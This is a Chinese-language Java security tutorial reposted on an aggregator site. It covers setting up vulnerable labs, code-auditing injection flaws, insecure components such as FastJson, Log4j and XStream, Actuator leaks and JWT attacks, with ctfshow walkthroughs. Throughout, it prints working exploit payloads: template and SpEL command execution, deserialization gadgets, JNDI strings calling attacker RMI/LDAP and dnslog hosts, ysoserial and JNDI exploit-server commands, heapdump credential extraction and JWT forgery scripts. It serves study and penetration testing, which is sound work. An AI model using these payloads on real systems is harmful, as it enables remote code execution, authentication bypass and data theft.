Java安全

news2024/11/23 11:10:53

Java安全

Java2Sec靶场搭建

靶场地址

https://github.com/bewhale/JavaSec

查看数据库配置文件,mysql,用户名密码根据自己数据库密码更改

在这里插入图片描述

使用小皮面板的mysql,新建一个数据名为javasec的数据库

在这里插入图片描述

运行javasec.sql文件

在这里插入图片描述

下载运行jar包即可

java -jar javasec-0.0.1-SNAPSHOT.jar

在这里插入图片描述

访问本地8000端口,用户名密码admin,admin

在这里插入图片描述

Hello-Java-Sec靶场搭建

靶场地址

https://github.com/j3ers3/Hello-Java-Sec

查看数据库配置文件,mysql,用户名密码根据自己数据库密码更改

在这里插入图片描述

使用小皮面板的mysql,新建一个数据名为test的数据库

在这里插入图片描述

运行db.sql文件

在这里插入图片描述

下载运行jar包即可

java -jar javasec-1.10.jar

在这里插入图片描述

访问本地8888端口,用户名密码admin,admin

在这里插入图片描述

SQL注入

JDBC

1、采用Statement方法拼接SQL语句

在这里插入图片描述

2、PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。

在这里插入图片描述

3、JDBCTemplate是Spring对JDBC的封装,如果使用拼接语句便会产生注入

在这里插入图片描述

安全写法:SQL语句占位符(?) + PrepareStatement预编译

MyBatis

MyBatis支持两种参数符号,一种是#,另一种是KaTeX parse error: Expected 'EOF', got '#' at position 2: ,#̲使用预编译,使用拼接SQL。

1、order by注入:由于使用#{}会将对象转成字符串,形成order by “user” desc造成错误,因此很多研发会采用${}来解决,从而造成注入.

在这里插入图片描述

2、like 注入:模糊搜索时,直接使用’%#{q}%’ 会报错,部分研发图方便直接改成’%${q}%'从而造成注入.

在这里插入图片描述

3、in注入:in之后多个id查询时使用 # 同样会报错,从而造成注入.

在这里插入图片描述

代码审计案例

inxedu后台MyBatis注入

修改配置文件

在这里插入图片描述

使用mysql5.5.29

在这里插入图片描述

直接运行sql文件

在这里插入图片描述

白盒审计思路

查看外部引用库

在这里插入图片描述

引用了Mybatis库说明使用Mybatis库

在这里插入图片描述

搜索%${

在这里插入图片描述

搜索(${,

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

路由地址是访问delete

在这里插入图片描述

路由地址是/admin/article

在这里插入图片描述

访问/admin/article/delete
在这里插入图片描述

点击删除可以看到提交了articelld数据,刚刚接受的也是articelId

在这里插入图片描述

将数据包复制出来,在注入点加上*

在这里插入图片描述

使用sqlmap跑出注入点

在这里插入图片描述

在这里插入图片描述

跑出表单名

python sqlmap.py -r "C:\Users\强少张\Desktop\1.txt" --batch --tables

在这里插入图片描述

XXE注入-Reader&Builder

XXE (XML External Entity Injection), XML外部实体注入,当开发人员配置其XML解析功能允许外部实体引用时,攻击者可利用这一可引发安全问题的配置方式,实施任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。

审计的函数

XMLReader
SAXReader
DocumentBuilder
XMLStreamReader
SAXBuilder
SAXParser
SAXSource
TransformerFactory
SAXTransformerFactory
SchemaFactory
Unmarshaller
XPathExpression

SSTI模版-Thymeleaf&URL

SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。
1、URL作视图
2、Velocity
3、Thymeleaf

在这里插入图片描述

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::

在这里插入图片描述

其他语言参考:https://www.cnblogs.com/bmjoker/p/13508538.html

SPEL表达式-SpringBoot框架

SpEL(Spring Expression Language)表达式注入, 是一种功能强大的表达式语言、用于在运行时查询和操作对象图,由于未对参数做过滤可造成任意命令执行。
1、Spring表达式
2、Spring反射绕过

审计的函数

SpelExpressionParser

getValue

参考:https://www.jianshu.com/p/e3c77c053359

在这里插入图片描述

在这里插入图片描述

T(java.lang.Runtime).getRuntime().exec("calc")

在这里插入图片描述

RCE执行

审计函数

RuntimeExec

在这里插入图片描述

在这里插入图片描述

ScriptEngineManager

在这里插入图片描述

var a = mainOutput();
function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")};

在这里插入图片描述

引用js文件执行rce漏洞

在这里插入图片描述

Groovy

在这里插入图片描述

在这里插入图片描述

ProcessBuilder

在这里插入图片描述

在这里插入图片描述

ProcessImpl

在这里插入图片描述

在这里插入图片描述

检测:(大部分白盒)
黑盒看参数名和参数值
白盒看类函数名和可控变量

JNDI注入-RMI&LDAP&版本

在这里插入图片描述

什么是jndi注入
为什么有jndi注入
JDNI注入安全问题(RCE)
JDNI注入利用条件(看上图)
参考:https://blog.csdn.net/dupei/article/details/120534024

#JNDI注入-RMI&LDAP服务&高版本
资料:https://docs.qq.com/doc/DQ3JySmFPZXJkUVBL

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

调用检索:

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

检测:
无黑盒思路
白盒看类函数名和可控变量

在这里插入图片描述

使用**JNDI-Injection-Exploit**构造jndi链

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 192.168.100.2

在这里插入图片描述

在这里插入图片描述

不安全组件

JSON&XML&验证&日志

-FastJson:

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
历史漏洞:https://avd.aliyun.com/search?q=fastjson

-黑盒测试不安全组件漏洞:
见后续章节漏洞复现利用课程

-白盒审计不安全组件漏洞:

在这里插入图片描述

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://192.168.100.2:1099/s59vaf","autoCommit":true}

在这里插入图片描述

-Log4j:

Apache的一个开源项目,是一个基于Java的日志记录框架。
历史漏洞:https://avd.aliyun.com/search?q=Log4j

${jndi:rmi://192.168.100.2:1099/s59vaf}

在这里插入图片描述

${jndi:ldap://jiwxpwcups.dgrh3.cn}

在这里插入图片描述

-Shiro:

Java安全框架,能够用于身份验证、授权、加密和会话管理。
历史漏洞:https://avd.aliyun.com/search?q=Shiro

黑盒:登录框架有remember

在这里插入图片描述

抓取登录数据地址

在这里插入图片描述

爆破密钥和利用链,执行代码

在这里插入图片描述

-Jackson:

当下流行的json解释器,主要负责处理Json的序列化和反序列化。
历史漏洞:https://avd.aliyun.com/search?q=Jackson

在这里插入图片描述

["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"rmi://192.168.100.2:1099/s59vaf","autoCommit":"true"}]

在这里插入图片描述

-XStream:

开源Java类库,能将对象序列化成XML或XML反序列化为对象
历史漏洞:https://avd.aliyun.com/search?q=XStream

<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set>

在这里插入图片描述

先clean一下再install

在这里插入图片描述

执行sql文件

在这里插入图片描述

案例

FastJson审计

1、看引用组件版本及实现
JSON.parse() JSON.parseObject()

搜索JSON.parseObject

在这里插入图片描述

2、找可控变量及访问实现propertyJson,路径地址为admin/product,@RequestParam是springboot传入

在这里插入图片描述

查看引用库是否有fastjson

在这里插入图片描述

找到admin/product,进行抓包找到propertyJson

在这里插入图片描述
在这里插入图片描述

3、测试出网回显调用访问

{"@type":"java.net.Inet4Address","val":"zrpqhbvwbc.dgrh3.cn"}

在这里插入图片描述

Log4j审计

1、看引用组件版本及实现
logger.info logger.error

搜索logger.info,找到有变量的地方

在这里插入图片描述

2、找可控变量及访问实现

admin/uploadAdminHeadImage originalFileName

originalFileName是获取文件名file.getOriginalFilename()参数,文件名是可控的,路径是admin/uploadProductImage

在这里插入图片描述

在配置文件中查看是否有log4j

在这里插入图片描述

上传一个图片是uploadProductImage路径

在这里插入图片描述

抓一下文件上传包

在这里插入图片描述

3、测试出网回显调用访问

修改上传文件名

${jndi:ldap://uzlhyodwsr.dgrh3.cn}

在这里插入图片描述

${jndi:rmi://192.168.100.2:1099/rierdi}

在这里插入图片描述

不回显常见判断通用方法:
1、直接将执行结果写入到静态资源文件里,如html、js等,然后访问。
2、通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。
3、接将命令执行结果回显到请求Poc的HTTP响应中。
不回显常见判断细节方法:
例:https://mp.weixin.qq.com/s/qhLhgbNwocC07AN48eQ0sw

反序列化-原生序列化类函数

序列化是将Java对象转换成字节流的过程。而反序列化是将字节流转换成Java对象的过程,java序列化的数据一般会以标记ac ed 00 05开头,base64编码的特征为rO0AB,JAVA常见的序列化和反序列化的方法有JAVA 原生序列化和JSON 类(fastjson、jackson)序列化等。

0、黑盒发现(流量捕获)
0、白盒发现(特征类接口函数)

利用项目:

Yakit

在这里插入图片描述

ysoserial

wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
java -jar ysoserial-all.jar

在这里插入图片描述

SerializedPayloadGenerator

原生序列化类函数:

SnakeYaml

SnakeYaml:完整的YAML1.1规范Processor,支持Java对象的序列化/反序列化

在这里插入图片描述

!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://192.168.100.2:1099/pw37y7', autoCommit: true}

在这里插入图片描述

XMLDecoder.readObject()

XMLDecoder:xml语言格式序列化类函数接口

使用XMLDecoder解析后再调用readObject()方法

在这里插入图片描述

<?xml version="1.0" encoding="UTF-8"?><java version="1.8.0_151" class="java.beans.XMLDecoder">    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">            <void index="0">                <string>cmd</string>            </void>            <void index="1">                <string>/c</string>            </void>            <void index="2">                <string>calc</string>            </void>        </array>        <void method="start" />    </object></java>

在这里插入图片描述

ObjectInputStream.readObject()

ObjectInputStream.readObject():任何类如果想要序列化必须实现java.io.Serializable接口

在这里插入图片描述

在这里插入图片描述

java -jar ysoserial-all.jar CommonsCollections5 "cmd /c calc" | base64 -w0

在这里插入图片描述

在这里插入图片描述

SpringBoot框架-泄漏&CVE

SpringBoot Actuator模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP跟踪等,帮助我们监控和管理Spring Boot应用。

检测清单
黑盒发现
人工识别

fofa语法:body=“Whitelabel Error Page” && icon_hash=“116323821”

图标是小叶子,报错内容是Whitelabel Error Page

在这里插入图片描述

BP指纹识别插件

在这里插入图片描述

在这里插入图片描述

白盒发现
pom.xml
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

在这里插入图片描述

引用库:Actuator
#Actuator设置全部暴露
management.endpoints.web.exposure.include=*

在这里插入图片描述

安全配置

在这里插入图片描述

泄漏安全(配置密码,AK/SK等)
JDumpSpider在这里插入图片描述
heapdump_tool

需要java8之前版本或者Java部分版本,因为已经jhat已经被移除了

在这里插入图片描述

漏洞安全(利用类,CVE漏洞等)
SpringBoot-Scan

我的工具箱有集成,需要的可以私信
在这里插入图片描述

在这里插入图片描述

SpringBootVulExploit

在这里插入图片描述

案例一
使用SpringBoot-Scan扫描springboot网址
SSpringBoot-Scan-V2.51_Win_x64_2024年龙年新春贺岁版.exe -u http://127.0.0.1:8000

在这里插入图片描述

扫描出信息泄露

在这里插入图片描述

访问http://127.0.0.1:8000/actuator/heapdump下载heapdump

在这里插入图片描述

使用JDumpSpider解析heapdump
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

在这里插入图片描述

使用SpringBootVulExploit进行漏洞扫描利用

在这里插入图片描述

使用JNDIExploit-1.3-SNAPSHOT创建一个JNDI注入环境

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 127.0.0.1 -l 1389 -p 3456

在这里插入图片描述

点击连接,利用jolokiaLogbackRCE,利用失败,应该是java版本过高导致的

在这里插入图片描述

使用SpringBoot-Scan检测漏洞
SpringBoot-Scan.exe -v http://127.0.0.1:8000

在这里插入图片描述

案例二

在这里插入图片描述

创建一个rbac数据库,执行sql文件

在这里插入图片描述

在Maven先clean再install

在这里插入图片描述

全局搜索actuator

在pom.xml中引用了

在这里插入图片描述

查看配置文件

Actuator设置全部暴露

访问网站burp被动扫描

在这里插入图片描述

访问/actuator/heapdump下载heapdump文件

在这里插入图片描述

使用JDumpSpider-1.1-SNAPSHOT-full.jar扫描heapdump文件
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar "heapdump (1)"

在这里插入图片描述

使用springboot-scan检测漏洞
SpringBoot-Scan.exe -v 192.168.100.2:8088

在这里插入图片描述

使用SpringBootExploit检测漏洞

在这里插入图片描述

Druid监控-未授权访问&信息泄漏

参考:https://developer.aliyun.com/article/1260382

Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控。当开发者配置不当时就可能造成未授权访问漏洞。

在这里插入图片描述

攻击点:

1、直接拼接URL路径:druid,尝试能否直接未授权访问系统功能点。

2、结合泄露URL路径和Session信息,利用BurpSuite进行尝试登录。

3、利用Cookie编辑器替换Session,再次访问后台路径尝试进入后台。

在这里插入图片描述

Swagger接口-导入&联动批量测试

Swagger是一个用于生成、描述和调用RESTful接口的Web服务。就是将项目中所有(想要暴露的)接口展现在页面上,并可以进行接口调用和测试的服务。所以可以对这个接口进行漏洞测试,看是否存在未授权访问、sql注入、文件上传等漏洞。由于接口太多,一个个接口测试的话太费时间,所以一般会采用自动化接口漏洞安全测试。

在这里插入图片描述

1、自动化发包测试

Postman:https://github.com/hlmd/Postman-cn

点击导入选择链接

在这里插入图片描述

点击运行,勾选保存响应,如果有文件上传点可以选择上传文件

在这里插入图片描述

运行报错

在这里插入图片描述

将变量初始值和当前值//删除

在这里插入图片描述

再重新运行

在这里插入图片描述

2、自动化漏洞测试

postman联动BurpSuite 转发Xray

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

使用工具箱里的图形化xray,设置好IP端口,开启被动监听

在这里插入图片描述

使用postman再次发包,xray成功接到数据包,扫描完毕打开扫描结果

在这里插入图片描述

JWT令牌-空算法&未签名&密匙获取

JSON Web Token(JWT)。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。这使得JWT成为高度分布式网站的热门选择,在这些网站中,用户需要与多个后端服务器无缝交互。

在这里插入图片描述

在这里插入图片描述

JWT识别

在这里插入图片描述

1、标头(Header)

Header是JWT的第一个部分,是一个JSON对象,主要声明了JWT的签名算法,如"HS256”、“RS256"等,以及其他可选参数,如"kid”、“jku”、"x5u"等

alg字段通常用于表示加密采用的算法。如"HS256"、"RS256"等

typ字段通常用于表示类型

还有一些其他可选参数,如"kid"、“jku”、"x5u"等

2、有效载荷(Payload)

Payload是JWT的第二个部分,这是一个JSON对象,主要承载了各种声明并传递明文数据,用于存储用户的信息,如id、用户名、角色、令牌生成时间和其他自定义声明。

iss:该字段表示jwt的签发者。

sub:该jwt面向的用户。

aud:jwt的接收方。

exp:jwt的过期时间,通常来说是一个时间戳。

iat:jwt的签发时间,常来说是一个时间戳。

jti:此jwt的唯一标识。通常用于解决请求中的重放攻击。该字段在大多数地方没有被提及或使用。因为使用此字段就意味着必须要在服务器维护一张jti表, 当客户端携带jwt访问的时候需要在jti表中查找这个唯一标识是否被使用过。使用这种方式防止重放攻击似乎让jwt有点怪怪的感觉, 毕竟jwt所宣称的优点就是无状态访问

签名(Signature)

Signature是对Header和Payload进行签名,具体是用什么加密方式写在Header的alg 中。同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。

对Header和Payload进行签名,具体是用什么加密方式写在Header的alg中。

同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。

第一部分:对 JSON 的头部做 base64 编码处理得到

第二部分:对 JSON 类型的 payload 做 base64 编码处理得到

第三部分:分别对头部和载荷做base64编码,并使用.拼接起来

使用头部声明的加密方式,对base64编码前两部分合并的结果加盐加密处理,作为JWT

在线解析:https://jwt.io/

BURP插件
Hae
JSON Web Tokens

burp市场地址

在这里插入图片描述

下载的bapp后缀文件再商店中导入

在这里插入图片描述

JWT安全

1、空加密算法(攻击头部不使用加密)

签名算法可被修改为none,JWT支持将算法设定为"None"。如果"alg"字段设为"None",那么签名会被置空,这样任何token都是有效的。

2、未校验签名(攻击签名不使用签名认证)

某些服务端并未校验JWT签名,可以尝试修改payload后然后直接请求token或者直接删除signature再次请求查看其是否还有效。

3、暴力破解密钥(攻击签名知道密钥实现重组)

针对是对称加密算法(非对称没有用)

非对称要使用方法:获取源码或者公钥私钥文件

某些签名算法,例如HS256(HMAC+SHA-256),会像密码一样使用一个任意的、独立的字符串作为秘密密钥。这个秘钥如被轻易猜到或暴力破解,则攻击者能以任意的头部和载荷值来创建JWT,然后用密钥重新给令牌签名。

4、其他安全参考:(源码泄漏密匙,Kid注入等)

https://blog.csdn.net/weixin_44288604/article/details/128562796

JWT利用

利用项目:https://github.com/ticarpi/jwt_tool

ctfshow-345(None无签名认证)

HAE检测到JWT

在这里插入图片描述

使用官方识别一下JWT数据,这里只要两部分没有签名

在这里插入图片描述

jwt是以base64加密的,先用Decoder模块解密修改user为admin再进行base64加密在这里插入图片描述

替换JWT数据,拿到flag

在这里插入图片描述

ctfshow-346(None算法绕过签名)

JSON-Web Tokens插件已经识别

在这里插入图片描述

直接使用JSON-Web Tokens修改

在这里插入图片描述

使用jwt_tool进行解析

python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjQ1NTEyNCwiZXhwIjoxNzE2NDYyMzI0LCJuYmYiOjE3MTY0NTUxMjQsInN1YiI6InVzZXIiLCJqdGkiOiJmNjgzNWQ5ZGFmOWJlMmEyYjQwNzc1MDVjYmQ3N2MwYiJ9.kjG4plzd85B-CL9OdNDUDk5bVon1HR-pgj8nhSO6-WI

在这里插入图片描述

修改JWT数据,修改加密为None,sub为admin

python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjQ1NTEyNCwiZXhwIjoxNzE2NDYyMzI0LCJuYmYiOjE3MTY0NTUxMjQsInN1YiI6InVzZXIiLCJqdGkiOiJmNjgzNWQ5ZGFmOWJlMmEyYjQwNzc1MDVjYmQ3N2MwYiJ9.kjG4plzd85B-CL9OdNDUDk5bVon1HR-pgj8nhSO6-WI -T

在这里插入图片描述

去掉签名部分,发送数据

在这里插入图片描述

ctfshow-347(弱口令密钥获取)

在这里插入图片描述

使用jwt_tool爆破密钥

python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjQ1NjU5MSwiZXhwIjoxNzE2NDYzNzkxLCJuYmYiOjE3MTY0NTY1OTEsInN1YiI6InVzZXIiLCJqdGkiOiI3NWI5ZWJiYjFmNmJiMzc0OWRlYzljMjUzYTlkMjk3NiJ9.ng9Ry27tXVv6UdpM4oWc6RyCyOvFulHMayqXLC0DL60 -C -d "D:\Infiltration\ASSETS\字典\fuzz\Password\Sucuri-Top-Wordpress-Passwords.txt"

在这里插入图片描述

验证123456是不是密钥

python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjQ1NjU5MSwiZXhwIjoxNzE2NDYzNzkxLCJuYmYiOjE3MTY0NTY1OTEsInN1YiI6InVzZXIiLCJqdGkiOiI3NWI5ZWJiYjFmNmJiMzc0OWRlYzljMjUzYTlkMjk3NiJ9.ng9Ry27tXVv6UdpM4oWc6RyCyOvFulHMayqXLC0DL60 -C -p 123456

在这里插入图片描述

在官网上修改jwt数据

在这里插入图片描述

复制修改好的JWT数据成功拿到flag

在这里插入图片描述

ctfshow-348(爆破密钥上题一样)

使用jwt_tool爆破密钥

python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjQ2MDg2NiwiZXhwIjoxNzE2NDY4MDY2LCJuYmYiOjE3MTY0NjA4NjYsInN1YiI6InVzZXIiLCJqdGkiOiIyMGUxODIyNDZkMTQ1YmUzYWYwYTU4MDVkZmRmZTY1NiJ9.zZdv09bsfIsfEqWt0LLt2Kei1ieoj_PI-OFOlSehMAA -C -d "D:\Infiltration\ASSETS\字典\fuzz\Password\Sucuri-T
op-Wordpress-Passwords.txt"

在这里插入图片描述

在官网上修改jwt数据

在这里插入图片描述

在这里插入图片描述

ctfshow-349(公钥私钥泄露)

JS提示,公钥私钥泄露,RSA都是以公钥加密,私钥解密,这个题是私钥加密,公钥解密

在这里插入图片描述

访问/private.key下私钥,利用python脚本加密jwt,需要安装jwt 和pyjwt

import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))

在这里插入图片描述

修改JWT使用post提交

在这里插入图片描述

ctfshow-350(密钥混淆攻击RS256=>HS256)

代码逻辑是以private,RS256非对称加密,但是没有private文件

在这里插入图片描述

解密只需要public解密,使用public,HS256对称加密,那么解密也会以public解密

使用js编写脚本,使用py加密出来的jwt有点问题,不知道怎么回事。

var jwt = require('jsonwebtoken');

var fs = require('fs');

var privateKey = fs.readFileSync('./public.key');

var token = jwt.sign({ 'user': 'admin' }, privateKey, { algorithm: 'HS256' });

console.log(token)

在这里插入图片描述

替换jwt拿到flag

在这里插入图片描述

黑盒JWT测试

首先找到需要JWT鉴权后才能访问的页面,如个人资料页面,将该请求包重放测试:

1)未授权访问:删除Token后仍然可以正常响应对应页面

2)敏感信息泄露:通过JWt.io解密出Payload后查看其中是否包含敏感信息,如弱加密的密码等

3)破解密钥+越权访问:通过JWT.io解密出Payload部分内容,通过空加密算法或密钥爆破等方式实现重新签发Token并修改Payload部分内容,重放请求包,观察响应包是否能够越权查看其他用户资料

4)检查Token时效性:解密查看payload中是否有exp字段键值对(Token过期时间),等待过期时间后再次使用该Token发送请求,若正常响应则存在Token不过期

5)通过页面回显进行探测:如修改Payload中键值对后页面报错信息是否存在注入,payload中kid字段的目录遍历问题与sql注入问题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1841163.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

STM32单片机I2C通信详解

文章目录 1. I2C通信概述 2. 硬件电路 3. I2C时序基本单元 4. I2C时序 4.1 指定地址写 4.2 当前地址读 4.3 指定地址读 5. I2C外设 6. I2C框图 7. I2C基本结构 8. 主机发送 9. 主机接收 10. 软件和硬件波形对比 11. 代码示例 1. I2C通信概述 I2C(Inter-Integrat…

定制汽车霍尔传感器

磁电效应霍尔传感器、饱和霍尔传感器、非线性霍尔传感器 霍尔传感器原理 霍尔传感器的工作原理基于霍尔效应&#xff0c;即当一块通有电流的金属或半导体薄片垂直地放在磁场中时&#xff0c;薄片的两端会产生电位差。这种现象称为霍尔效应&#xff0c;两端具有的电位差值称为…

YoloV8改进策略:Block篇|即插即用|StarNet,重写星操作,使用Block改进YoloV8(全网首发)

摘要 本文主要集中在介绍和分析一种新兴的学习范式——星操作&#xff08;Star Operation&#xff09;&#xff0c;这是一种通过元素级乘法融合不同子空间特征的方法&#xff0c;通过元素级乘法&#xff08;类似于“星”形符号的乘法操作&#xff09;将不同子空间的特征进行融…

(0撸)Nillion空投教程,现在开启激励测试网

Nillion 是一个去中心化的公共网络&#xff0c;通过启用去中心化信用评分、去中心化可信执行环境、私有 NFT、去中心化安全存储服务等用例来解锁 Web3 中重要的新实用程序 Nillion已经完成2000万美元融资、由Distributed Global领投、同时还有HashKey Capital、GSR等多家机构参…

opencascade AIS_InteractiveContext源码学习1 object display management 对象显示管理

AIS_InteractiveContext 前言 交互上下文&#xff08;Interactive Context&#xff09;允许您在一个或多个视图器中管理交互对象的图形行为和选择。类方法使这一操作非常透明。需要记住的是&#xff0c;对于已经被交互上下文识别的交互对象&#xff0c;必须使用上下文方法进行…

visual studio error MSB8008:

新项目编译的时候&#xff0c;可能由于编译器的版本不一致导致的问题。 你的电脑上有两个不同版本的VS&#xff0c;或者你的程序拷贝到别人的电脑上去运行&#xff0c;或者你是从别人那里拷贝来的项目&#xff0c;而你们俩用的VS版本不一样&#xff0c;就会在运行的时候出现这…

代码随想录算法训练营第四十三天|518. 零钱兑换 II ,LCR 103. 零钱兑换,377. 组合总和 Ⅳ

518. 零钱兑换 II - 力扣&#xff08;LeetCode&#xff09; class Solution {public int change(int amount, int[] coins) {// 创建dp数组,dp[i][j] 表示使用前i个硬币&#xff08;下标为0的硬币是前1个&#xff09;凑成总金额j的硬币组合数int[][] dp new int[coins.length …

AI在创造还是毁掉音乐

目录 1.概述 2.整体介绍 3.人机合作 3.1. AI作为助手 3.2. AI作为创意源泉 3.3. 交互式合作 3.4. AI独立创作与音乐人后期制作 3.5.试点和挑战 4.伦理道德 4.1.AI替代人类的可能性 4.2.伦理道德问题 4.3.平衡技术与创造力 4.4.小结 1.概述 近期音乐大模型的兴起&…

Python Textract库:文本提取

更多Python学习内容&#xff1a;ipengtao.com Textract是一个强大的Python库&#xff0c;用于从各种文件格式中提取文本。无论是PDF、Word文档、Excel电子表格、HTML页面还是图像&#xff0c;Textract都能有效地提取其中的文本内容。Textract通过集成多种开源工具和库&#xff…

Spark Core内核调度机制详解(第5天)

系列文章目录 如何构建DAG执行流程图 (掌握)如何划分Stage阶段 (掌握)Driver底层是如何运转 (掌握)确定需要构建多少分区(线程) (掌握) 文章目录 系列文章目录引言一、Spark内核调度&#xff08;掌握&#xff09;1.1、内容概述1.2、RDD的依赖1.3、DAG和Stage1.4、Spark Shuffl…

前端根据环境变量配置网页的title和favicon

前端根据环境变量配置网页的title和favicon 前言流程步骤一、设置environment文件二、在入口文件中配置三、删除index.html中的title和 icon link四、使用对应的打包命令进行部署 注意事项一、angular中&#xff0c;需要在angular.json添加favicon.ico额外的构建 前言 有些项目…

C++ | Leetcode C++题解之第167题两数之和II-输入有序数组

题目&#xff1a; 题解&#xff1a; class Solution { public:vector<int> twoSum(vector<int>& numbers, int target) {int low 0, high numbers.size() - 1;while (low < high) {int sum numbers[low] numbers[high];if (sum target) {return {low …

STM32通过I2C软件读写MPU6050

文章目录​​​​​​​ 1. MPU6050 1.1 运动学概念 1.2 工作原理 2. 参数 2.1 量程选择 2.2 I2C从机地址配置 3. 硬件电路 4. 框架图 5. 软件和硬件波形对比 6. 软件I2C读写MPU6050 6.1 程序整体构架 6.2 一些需要注意的点&#xff1a; 6.3 MPU6050初始化配置 6…

Vue--》从零开始打造交互体验一流的电商平台(三)

今天开始使用 vue3 + ts 搭建一个电商项目平台,因为文章会将项目的每处代码的书写都会讲解到,所以本项目会分成好几篇文章进行讲解,我会在最后一篇文章中会将项目代码开源到我的github上,大家可以自行去进行下载运行,希望本文章对有帮助的朋友们能多多关注本专栏,学习更多…

【2024】kafka streams的详细使用与案例练习(2)

目录 前言使用1、整体结构1.1、序列化 2、 Kafka Streams 常用的 API2.1、 StreamsBuilder2.2、 KStream 和 KTable2.3、 filter和 filterNot2.4、 map 和 mapValues2.5、 flatMap 和 flatMapValues2.6、 groupByKey 和 groupBy2.7、 count、reduce 和 aggregate2.8、 join 和 …

DSP28335:定时器

1.定时器介绍 1.1 定时器工作原理 TMS320F28335的CPU Time有三个&#xff0c;分别为Timer0&#xff0c;Timer1&#xff0c;Timer2&#xff0c;其中Timer2是为操作系统DSP/BIOS保留的&#xff0c;当未移植操作系统时&#xff0c;可用来做普通的定时器。这三个定时器的中断信号分…

RX8900/INS5A8900实时时钟-国产兼容RS4TC8900

该模块是一个符合I2C总线接口的实时时钟&#xff0c;包括一个32.768 kHz的DTCXO。 除了提供日历&#xff08;年、月、日、日、时、分、秒&#xff09;功能和时钟计数器功能外&#xff0c;该模块还提供了大量其他功能&#xff0c;包括报警功能、唤醒定时器功能、时间更新中断功能…

反激开关电源变压器设计1

特别注意&#xff1a;变压器计算出来的结果没有绝对的对与错 只要再全域范围内工作变压器不饱和就不能说变压器计算不对&#xff0c;&#xff08;输入全范围&#xff0c;输出全范围&#xff0c;温度度全范围&#xff09; 在变压器不饱和的情况下&#xff0c;只有优劣之分&…

数学建模基础:数学建模概述

目录 前言 一、数学建模的步骤 二、模型的分类 三、模型评价指标 四、常见的数学建模方法 实际案例&#xff1a;线性回归建模 步骤 1&#xff1a;导入数据 步骤 2&#xff1a;数据预处理 步骤 3&#xff1a;建立线性回归模型 步骤 4&#xff1a;模型验证 步骤 5&…

每日一练:攻防世界:简单的图片

